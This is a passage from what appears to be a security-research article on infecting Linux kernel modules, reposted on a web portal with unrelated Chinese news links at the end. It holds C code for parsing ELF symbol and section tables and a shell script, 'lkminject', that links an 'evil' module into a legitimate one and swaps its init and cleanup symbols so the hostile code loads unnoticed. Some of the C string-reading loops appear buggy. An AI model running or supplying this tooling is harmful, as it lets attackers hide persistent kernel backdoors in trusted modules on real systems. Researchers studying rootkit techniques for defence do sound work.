if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)

FATAL ("Symtab corrupted");

memset (symname, 0, sizeof (symname));

offset = ElfGetSymbolName (fd, sym->st_name,

strtab, symname, sizeof (symname));

if (!strcmp (symname, name))

return offset;

}

return -1;

}

int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,

Elf32_Shdr *shdr)

{

if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),

SEEK_SET) == -1)

FATAL ("fseek");

if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)

FATAL ("Sections header corrupted");

return 0;

}

int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,

Elf32_Shdr *shdr)

{

int i;

char name[255];

Elf32_Shdr shstrtable;

/*

* Get the section header string table

*/

ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);

memset (name, 0, sizeof (name));

for (i=0; i<ehdr->e_shnum; i++)

{

if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),

SEEK_SET) == -1)

FATAL ("fseek");

if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)

FATAL ("Sections header corrupted");

ElfGetSectionName (fd, shdr->sh_name, &shstrtable,

name, sizeof (name));

if (!strcmp (name, section))

{

return 0;

}

}

return -1;

}

int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,

Elf32_Shdr *shstrtable, char *res, size_t len)

{

size_t i = 0;

if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)

FATAL ("fseek");

while ((i < len) || *res == '\0')

{

*res = fgetc (fd);

i++;

res++;

}

return 0;

}

Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,

Elf32_Shdr *strtable, char *res, size_t len)

{

size_t i = 0;

if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)

FATAL ("fseek");

while ((i < len) || *res == '\0')

{

*res = fgetc (fd);

i++;

res++;

}

return (strtable->sh_offset + sym_name);

}

/* EOF */

----] 9.2 Lkminject

#!/bin/sh

#

# lkminject by truff (truff@projet7.org)

#

# Injects a Linux lkm into another one.

#

# Usage:

# ./lkminfect.sh original_lkm.o evil_lkm.c

#

# Notes:

# You have to modify evil_lkm.c as explained bellow:

# In the init_module code, you have to insert this line, just after

# variables init:

# dumm_module ();

#

# In the cleanup_module code, you have to insert this line, just after

# variables init:

# dummcle_module ();

#

# http://www.projet7.org - Security Researchs -

###########################################################################

sed -e s/init_module/evil_module/ $2 > tmp

mv tmp $2

sed -e s/cleanup_module/evclean_module/ $2 > tmp

mv tmp $2

# Replace the following line with the compilation line for your evil lkm

# if needed.

make

ld -r $1 $(basename $2 .c).o -o evil.o

.../elfstrchange evil.o init_module dumm_module

.../elfstrchange evil.o evil_module init_module

.../elfstrchange evil.o cleanup_module dummcle_module

.../elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1

rm elfstrchange

|=[ EOF ]=---------------------------------------------------------------=|

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有